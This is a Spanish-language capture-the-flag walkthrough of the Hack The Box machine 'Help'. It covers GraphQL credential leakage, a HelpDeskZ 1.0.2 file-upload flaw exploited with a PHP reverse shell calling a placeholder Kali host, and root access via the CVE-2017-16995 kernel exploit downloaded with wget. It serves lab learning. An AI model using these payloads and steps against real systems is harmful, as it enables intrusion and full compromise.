Help
Help es una máquina Linux de Hack The Box enfocada en enumeración web, análisis de GraphQL, exposición de credenciales, explotación de una carga insegura de archivos en HelpDeskZ y escalamiento de privilegios mediante una vulnerabilidad del kernel de Linux.

- Plataforma
- Hack The Box
- Sistema operativo
- Linux
- Dificultad
- Fácil
- Publicado
- Autor
- Pedro Vargas
- Temas
- Enumeration
- Graphql
- Information Disclosure
- Helpdeskz
- File Upload
- Reverse Shell
- Password Cracking
- Kernel Exploit
- Escalamiento de Privilegios
- Nmap
En esta página
Resumen
Help es una máquina Linux de Hack The Box en la que tendremos que investigar dos aplicaciones web, descubrir un endpoint GraphQL que expone credenciales y aprovechar una vulnerabilidad en HelpDeskZ 1.0.2 para conseguir acceso inicial mediante la carga de una reverse shell. Finalmente, una versión vulnerable del kernel nos permitirá explotar CVE-2017-16995 y escalar privilegios hasta root.
Enumeración
Descubrimiento de puertos
Como siempre, comenzamos con un escaneo de los 1000 puertos más comunes para ver qué servicios tenemos disponibles:
nmap --top-ports 1000 -T5 -n 10.129.230.159

Encontramos únicamente tres puertos abiertos:
22— SSH80— HTTP3000— HTTP
Con los puertos identificados, lancé un segundo escaneo con detección de servicios y versiones:
nmap -p 22,80,3000 -n -sVC 10.129.230.159

Aquí tenemos algo interesante: además del servidor web del puerto 80, en el 3000 encontramos una aplicación ejecutándose sobre Node.js Express Framework. 👀
Antes de continuar añadí la máquina a /etc/hosts:
10.129.230.159 help.htb

De esta forma podemos trabajar directamente con help.htb durante el resto del laboratorio.
Enumeración web
Descubriendo HelpDeskZ
Comencé investigando el puerto 80. La página principal no mostraba nada especialmente interesante, así que pasé directamente a enumerar directorios con Dirsearch:

dirsearch -u http://help.htb/ -t 100 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Entre los resultados apareció:
/support

Al entrar encontramos una aplicación llamada HelpDeskZ, un software de gestión de tickets de soporte.

Lo primero que quería saber era su versión. La aplicación no la mostraba directamente, pero revisando el repositorio original de HelpDeskZ https://github.com/ViktorNova/HelpDeskZ encontré un archivo llamado:
UPGRADING.txt

Probé si también estaba expuesto en la instalación de la máquina y efectivamente pude acceder a él. Gracias a esto confirmé que estábamos frente a:
HelpDeskZ 1.0.2

Ahora sí teníamos una versión concreta sobre la que investigar vulnerabilidades.
Encontré diferentes exploits públicos para esta versión, incluyendo uno relacionado con carga de archivos , pero inicialmente no conseguí aprovecharlo. En lugar de quedarme atascado aquí, decidí volver a la enumeración y revisar el otro servicio web. 🔎
https://www.exploit-db.com/exploits/40300

Enumeración de GraphQL
Investigando el puerto 3000
Recordemos que Nmap había identificado Node.js + Express en el puerto 3000.


Probando diferentes rutas llegué a:
http://help.htb:3000/graphql

y esta vez la aplicación respondió:
GET query missing.
Esto ya era una pista bastante buena de que efectivamente teníamos un endpoint GraphQL.
Para confirmarlo envié una consulta básica de introspección:
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
query {
__schema {
queryType {
name
}
}
}

La aplicación respondió correctamente, confirmando que GraphQL estaba disponible.
Introspección con InQL
En lugar de enumerar manualmente todo el esquema utilicé InQL desde Burp Suite.

Sobre la petición de GraphQL generé una Introspection Query y envié el resultado a GraphQL Voyager, que permite visualizar gráficamente la estructura de la API.


Aquí apareció algo bastante interesante: existía una consulta relacionada con user que permitía recuperar campos como:
username
password
Así que realicé una consulta solicitando directamente esta información:
{
user {
username
password
}
}
Y efectivamente, GraphQL devolvió unas credenciales. 🔑

La contraseña no estaba en texto plano, sino almacenada como un hash. Después de identificarlo como MD5, lo comprobé utilizando CrackStation y conseguí recuperar la contraseña original.

Ahora ya teníamos credenciales válidas, así que tocaba regresar a HelpDeskZ.
Explotación de HelpDeskZ
Preparando la reverse shell

Una vez autenticado encontré la funcionalidad para crear tickets:
http://help.htb/support/?v=submit_ticket&action=displayForm
Y lo más interesante era que el formulario permitía adjuntar archivos.
Preparé entonces una pequeña reverse shell PHP:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<KALI_IP>/<PORT> 0>&1'");
?>


y la guardé como:
rev.php
También dejé Netcat escuchando en Kali:
nc -lvnp <PORT>

Al intentar adjuntar rep.php al ticket, HelpDeskZ respondió:
File is not allowed

Podría parecer que aquí terminó el intento, pero justamente aquí está la vulnerabilidad. 😈
El archivo se rechaza… pero ya fue cargado
HelpDeskZ 1.0.2 presenta un problema en la forma en la que procesa los archivos adjuntos.
La aplicación guarda primero el archivo y posteriormente comprueba si su extensión está permitida. Por eso vemos el mensaje de error y el ticket no termina creándose correctamente, pero nuestro archivo ya existe dentro del servidor.
El siguiente problema era encontrarlo.
HelpDeskZ cambia el nombre de los archivos utilizando una combinación del nombre original y el timestamp:
MD5(nombre_del_archivo + timestamp)
Por lo tanto, aunque rev.php estuviera almacenado, ya no podíamos buscarlo directamente con ese nombre.
Localizando el archivo cargado
Para automatizar esta búsqueda utilicé el exploit público:
40300.py
El script aprovecha precisamente la forma predecible en la que HelpDeskZ genera el nombre de los archivos. Prueba posibles hashes utilizando timestamps recientes hasta encontrar cuál corresponde con nuestro archivo.
Los adjuntos estaban almacenados en:
/support/uploads/tickets/
Así que inmediatamente después de subir rev.php ejecuté:
python2 40300.py http://help.htb/support/uploads/tickets/ rep.php

Es importante hacerlo rápidamente, ya que el exploit prueba los timestamps correspondientes a los últimos 300 segundos.
Después de varios intentos apareció:
found!
junto con la URL donde se encontraba nuestra reverse shell. 🎯
Accedí a esa URL desde el navegador y, como Netcat ya estaba esperando la conexión, recibí inmediatamente una shell en Kali.
Habíamos conseguido acceso inicial a la máquina como:
help
Tratamiento de la TTY
Antes de continuar con la enumeración mejoré la terminal para trabajar más cómodamente.
En la víctima:
python3 -c 'import pty; pty.spawn("/bin/bash")'
En Kali comprobé las dimensiones de mi terminal:
stty size
Después:
Ctrl + Z
y configuré correctamente la terminal:
stty raw -echo; fg
reset
export TERM=xterm
Con una shell mucho más cómoda, ya podíamos comenzar a buscar alguna vía para convertir nuestro usuario help en root.
Escalamiento de privilegios
Identificando el kernel
Durante la enumeración local revisé la versión del kernel:
cat /proc/version

La máquina utilizaba:
4.4.0-116-generic
Al investigar vulnerabilidades asociadas a esta versión encontré que era vulnerable a CVE-2017-16995, una vulnerabilidad local relacionada con el subsistema eBPF del kernel de Linux.
En términos simples: como ya tenemos acceso a la máquina con un usuario sin privilegios, podemos aprovechar este fallo del kernel para intentar ejecutar código con privilegios superiores.
Encontré un exploit público correspondiente a:
44298.c

Así que lo descargué en Kali y levanté rápidamente un servidor HTTP:
python3 -m http.server 8000
Desde la víctima descargué el exploit:
wget http://<KALI_IP>:8000/44298.c
Por suerte, la máquina tenía GCC instalado, así que pude compilarlo directamente:
gcc 44298.c -o shell
Y solo quedaba ejecutarlo:
./shell

Comprobamos el resultado:
whoami
Y obtenemos:
root
¡Máquina comprometida! 🚩

Conclusiones
Help es una máquina bastante entretenida porque obliga a combinar varias piezas: enumeración web, GraphQL, recuperación de credenciales y una vulnerabilidad bastante curiosa de HelpDeskZ para conseguir acceso inicial. Finalmente, una versión vulnerable del kernel nos permite completar la máquina escalando privilegios mediante CVE-2017-16995.
Herramientas utilizadas
- Nmap
- Dirsearch
- Burp Suite
- InQL
- GraphQL Voyager
- CrackStation
- Netcat
- Python
- wget
- GCC


